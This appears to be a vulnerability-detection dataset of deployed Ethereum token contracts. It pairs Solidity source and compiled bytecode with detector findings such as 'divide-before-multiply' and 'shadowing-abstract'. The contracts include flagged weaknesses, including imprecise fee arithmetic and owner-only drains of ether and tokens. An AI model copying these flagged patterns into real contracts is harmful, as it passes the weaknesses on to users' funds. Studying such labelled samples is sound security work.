etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x60806040526004361061017f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610189578063095ea7b3146102135780631003e2d21461024b57806318160ddd1461026357806323b872dd1461028a5780632e1a7d4d146102b4578063313ce567146102cc57806342966c68146102e15780634e6728b5146102f9578063532b581c1461030e578063577bd3361461032357806370a082311461033857806374ff2324146103595780637809231c1461036e578063836e818014610392578063853828b6146103a757806395d89b41146103bc5780639b1cbccc146103d15780639ea407be146103e6578063a9059cbb146103fe578063b449c24d14610422578063c108d54214610443578063c489744b14610458578063c588953e1461047f578063cbdd69b514610494578063dd62ed3e146104a9578063e58fc54c146104d0578063efca2eed146104f1578063f2fde38b14610506578063f3ccb40114610527575b61018761054b565b005b34801561019557600080fd5b5061019e610851565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d85781810151838201526020016101c0565b50505050905090810190601f1680156102055780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561021f57600080fd5b50610237600160a060020a0360043516602435610888565b604080519115158252519081900360200190f35b34801561025757600080fd5b50610187600435610930565b34801561026f57600080fd5b5061027861099d565b60408051918252519081900360200190f35b34801561029657600080fd5b50610237600160a060020a03600435811690602435166044356109a3565b3480156102c057600080fd5b50610187600435610b16565b3480156102d857600080fd5b50610278610b70565b3480156102ed57600080fd5b50610187600435610b75565b34801561030557600080fd5b50610278610c54565b34801561031a57600080fd5b50610278610c5a565b34801561032f57600080fd5b50610278610c60565b34801561034457600080fd5b50610278600160a060020a0360043516610c66565b34801561036557600080fd5b50610278610c81565b34801561037a57600080fd5b50610187600160a060020a0360043516602435610c8c565b34801561039e57600080fd5b50610278610cb1565b3480156103b357600080fd5b50610187610cb7565b3480156103c857600080fd5b5061019e610d14565b3480156103dd57600080fd5b50610237610d4b565b3480156103f257600080fd5b50610187600435610dcf565b34801561040a57600080fd5b50610237600160a060020a0360043516602435610e21565b34801561042e57600080fd5b50610237600160a060020a0360043516610f00565b34801561044f57600080fd5b50610237610f15565b34801561046457600080fd5b50610278600160a060020a0360043581169060243516610f25565b34801561048b57600080fd5b50610278610fd6565b3480156104a057600080fd5b50610278610fdc565b3480156104b557600080fd5b50610278600160a060020a0360043581169060243516610fe2565b3480156104dc57600080fd5b50610237600160a060020a036004351661100d565b3480156104fd57600080fd5b50610278611161565b34801561051257600080fd5b50610187600160a060020a0360043516611167565b34801561053357600080fd5b506101876024600480358281019291013590356111b9565b600080600080600080600080600d60149054906101000a900460ff1615151561057357600080fd5b600a546000985088975087965067016345785d8a00009550670de0b6b3a76400009450674563918244f40000935084906105b3903463ffffffff61121216565b8115156105bc57fe5b049750339150662386f26fc1000034101580156105da575060055442105b80156105e7575060075442105b80156105f4575060065442105b156106525784341015801561060857508334105b1561061c576064600589025b04955061064d565b83341015801561062b57508234105b1561063b576064600a8902610614565b34831161064d576064600f89025b0495505b6106bf565b662386f26fc10000341015801561066a575060055442105b8015610677575060075442115b8015610684575060065442105b156106ba5783341015801561069857508234105b156106a857606460058902610614565b34831161064d576064600a8902610649565b600095505b87860196508715156107565750600160a060020a03811660009081526004602052604081205460ff161580156106f95750600b54600c5411155b1561073d57610708828261123b565b50600160a060020a0382166000908152600460205260409020805460ff19166001908117909155600c80549091019055610751565b662386f26fc1000034101561075157600080fd5b6107dd565b60008811801561076d5750662386f26fc100003410155b156107c957600554421015801561078657506007544210155b8015610793575060065442105b156107a8576107a2828961123b565b50610751565b3485116107b9576107a2828861123b565b6107c3828961123b565b506107dd565b662386f26fc100003410156107dd57600080fd5b6008546009541061080d57600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600d54604051600160a060020a03909116903480156108fc02916000818181858888f19350505050158015610846573d6000803e3d6000fd5b505050505050505050565b60408051808201909152600481527f4544414e00000000000000000000000000000000000000000000000000000000602082015281565b600081158015906108bb5750336000908152600360209081526040808320600160a060020a038716845290915290205415155b156108c85750600061092a565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600154600090600160a060020a0316331461094a57600080fd5b60085461095d908363ffffffff61131e16565b60088190556040805184815290519192507f90f1f758f0e2b40929b1fd48df7ebe10afc272a362e1f0d63a90b8b4715d799f919081900360200190a15050565b60085481565b6000606060643610156109b257fe5b600160a060020a03841615156109c757600080fd5b600160a060020a0385166000908152600260205260409020548311156109ec57600080fd5b600160a060020a0385166000908152600360209081526040808320338452909152902054831115610a1c57600080fd5b600160a060020a038516600090815260026020526040902054610a45908463ffffffff61132b16565b600160a060020a0386166000908152600260209081526040808320939093556003815282822033835290522054610a82908463ffffffff61132b16565b600160a060020a038087166000908152600360209081526040808320338452825280832094909455918716815260029091522054610ac6908463ffffffff61131e16565b600160a060020a03808616600081815260026020908152604091829020949094558051878152905191939289169260008051602061147f83398151915292918290030190a3506001949350505050565b600154600090600160a060020a03163314610b3057600080fd5b506001546040518291600160a060020a03169082156108fc029083906000818181858888f19350505050158015610b6b573d6000803e3d6000fd5b505050565b601281565b600154600090600160a060020a03163314610b8f57600080fd5b33600090815260026020526040902054821115610bab57600080fd5b5033600081815260026020526040902054610bcc908363ffffffff61132b16565b600160a060020a038216600090815260026020526040902055600854610bf8908363ffffffff61132b16565b600855600954610c0e908363ffffffff61132b16565b600955604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600b5481565b60065481565b600c5481565b600160a060020a031660009081526002602052604090205490565b662386f26fc1000081565b600154600160a060020a03163314610ca357600080fd5b610cad828261133d565b5050565b60075481565b6001546000908190600160a060020a03163314610cd357600080fd5b50506001546040513091823191600160a060020a03909116906108fc8315029083906000818181858888f19350505050158015610b6b573d6000803e3d6000fd5b60408051808201909152600381527f4544410000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a03163314610d6557600080fd5b600d5460a060020a900460ff1615610d7c57600080fd5b600d805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b600154600160a060020a03163314610de657600080fd5b600a8190556040805182815290517ff7729fa834bbef70b6d3257c2317a562aa88b56c81b544814f93dc5963a2c0039181900360200190a150565b600060406044361015610e3057fe5b600160a060020a0384161515610e4557600080fd5b33600090815260026020526040902054831115610e6157600080fd5b33600090815260026020526040902054610e81908463ffffffff61132b16565b3360009081526002602052604080822092909255600160a060020a03861681522054610eb3908463ffffffff61131e16565b600160a060020a03851660008181526002602090815260409182902093909355805186815290519192339260008051602061147f8339815191529281900390910190a35060019392505050565b60046020526000908152604090205460ff1681565b600d5460a060020a900460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610fa157600080fd5b505af1158015610fb5573d6000803e3d6000fd5b505050506040513d6020811015610fcb57600080fd5b505195945050505050565b60055481565b600a5481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a0316331461102b57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561108f57600080fd5b505af11580156110a3573d6000803e3d6000fd5b505050506040513d60208110156110b957600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b15801561112d57600080fd5b505af1158015611141573d6000803e3d6000fd5b505050506040513d602081101561115757600080fd5b5051949350505050565b60095481565b600154600160a060020a0316331461117e57600080fd5b600160a060020a038116156111b6576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b600154600090600160a060020a031633146111d357600080fd5b5060005b8281101561120c576112048484838181106111ee57fe5b90506020020135600160a060020a03168361133d565b6001016111d7565b50505050565b60008215156112235750600061092a565b5081810281838281151561123357fe5b041461092a57fe5b600d5460009060a060020a900460ff161561125557600080fd5b600954611268908363ffffffff61131e16565b600955600160a060020a038316600090815260026020526040902054611294908363ffffffff61131e16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a0385169160009160008051602061147f8339815191529181900360200190a350600192915050565b8181018281101561092a57fe5b60008282111561133757fe5b50900390565b600154600160a060020a0316331461135457600080fd5b6000811161136157600080fd5b6008546009541061137157600080fd5b600160a060020a03821660009081526002602052604090205461139a908263ffffffff61131e16565b600160a060020a0383166000908152600260205260409020556009546113c6908263ffffffff61131e16565b6009819055600854116113f857600d805474ff0000000000000000000000000000000000000000191660a060020a1790555b600160a060020a0382166000818152600260209081526040918290205482518581529182015281517fada993ad066837289fe186cd37227aa338d27519a8a1547472ecb9831486d272929181900390910190a2604080518281529051600160a060020a0384169160009160008051602061147f8339815191529181900360200190a350505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582047be9fbaeb46a089bb2bce7af19110eab9507878f78ccb9091d7a87364daf8920029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,075
0xda1e53e088023fe4d1dc5a418581748f52cbd1b8
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract AidiInu is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Aidi Inu'; string private _symbol = 'AIDI'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view override returns (string memory) { return _name; } function symbol() public view override returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); require(amount <= _allowances[sender][_msgSender()], "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), _allowances[sender][_msgSender()]- amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { require(subtractedValue <= _allowances[_msgSender()][spender], "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = ((_tTotal * maxTxPercent) / 10**2); } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rTotal = _rTotal - rAmount; _tFeeTotal = _tFeeTotal + tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return (rAmount / currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender] - tAmount; _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal - rFee; _tFeeTotal = _tFeeTotal + tFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = ((tAmount / 100) * 2); uint256 tTransferAmount = tAmount - tFee; return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rTransferAmount = rAmount - rFee; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return (rSupply / tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply - _rOwned[_excluded[i]]; tSupply = tSupply - _tOwned[_excluded[i]]; } if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e99614610289578063d543dbeb1461029c578063dd62ed3e146102af578063f2cc0c18146102c2578063f2fde38b146102d5578063f84354f1146102e85761014d565b8063715018a6146102365780637d1db4a51461023e5780638da5cb5b1461024657806395d89b411461025b578063a457c2d714610263578063a9059cbb146102765761014d565b806323b872dd1161011557806323b872dd146101c25780632d838119146101d5578063313ce567146101e857806339509351146101fd5780634549b0391461021057806370a08231146102235761014d565b8063053ab1821461015257806306fdde0314610167578063095ea7b31461018557806313114a9d146101a557806318160ddd146101ba575b600080fd5b6101656101603660046115ae565b6102fb565b005b61016f6103c0565b60405161017c9190611618565b60405180910390f35b610198610193366004611585565b610452565b60405161017c919061160d565b6101ad610470565b60405161017c9190611a16565b6101ad610476565b6101986101d036600461154a565b610485565b6101ad6101e33660046115ae565b61055b565b6101f061059e565b60405161017c9190611a1f565b61019861020b366004611585565b6105a7565b6101ad61021e3660046115c6565b6105f6565b6101ad6102313660046114f7565b61065a565b6101656106bc565b6101ad610745565b61024e61074b565b60405161017c91906115f9565b61016f61075a565b610198610271366004611585565b610769565b610198610284366004611585565b61080d565b6101986102973660046114f7565b610821565b6101656102aa3660046115ae565b61083f565b6101ad6102bd366004611518565b6108a5565b6101656102d03660046114f7565b6108d0565b6101656102e33660046114f7565b610a08565b6101656102f63660046114f7565b610ac8565b6000610305610c9d565b6001600160a01b03811660009081526004602052604090205490915060ff161561034a5760405162461bcd60e51b815260040161034190611985565b60405180910390fd5b600061035583610ca1565b5050506001600160a01b03841660009081526001602052604090205491925061038091839150611a84565b6001600160a01b0383166000908152600160205260409020556006546103a7908290611a84565b6006556007546103b8908490611a2d565b600755505050565b6060600880546103cf90611a9b565b80601f01602080910402602001604051908101604052809291908181526020018280546103fb90611a9b565b80156104485780601f1061041d57610100808354040283529160200191610448565b820191906000526020600020905b81548152906001019060200180831161042b57829003601f168201915b5050505050905090565b600061046661045f610c9d565b8484610ced565b5060015b92915050565b60075490565b6a52b7d2dcc80cd2e400000090565b6000610492848484610da1565b6001600160a01b0384166000908152600360205260408120906104b3610c9d565b6001600160a01b03166001600160a01b03168152602001908152602001600020548211156104f35760405162461bcd60e51b815260040161034190611836565b610551846104ff610c9d565b6001600160a01b03871660009081526003602052604081208691610521610c9d565b6001600160a01b03166001600160a01b031681526020019081526020016000205461054c9190611a84565b610ced565b5060019392505050565b600060065482111561057f5760405162461bcd60e51b8152600401610341906116ae565b6000610589610fcf565b90506105958184611a45565b9150505b919050565b600a5460ff1690565b60006104666105b4610c9d565b8484600360006105c2610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a2d565b60006a52b7d2dcc80cd2e40000008311156106235760405162461bcd60e51b8152600401610341906117b7565b8161064157600061063384610ca1565b5092945061046a9350505050565b600061064c84610ca1565b5091945061046a9350505050565b6001600160a01b03811660009081526004602052604081205460ff161561069a57506001600160a01b038116600090815260026020526040902054610599565b6001600160a01b03821660009081526001602052604090205461046a9061055b565b6106c4610c9d565b6001600160a01b03166106d561074b565b6001600160a01b0316146106fb5760405162461bcd60e51b81526004016103419061187e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600b5481565b6000546001600160a01b031690565b6060600980546103cf90611a9b565b600060036000610777610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a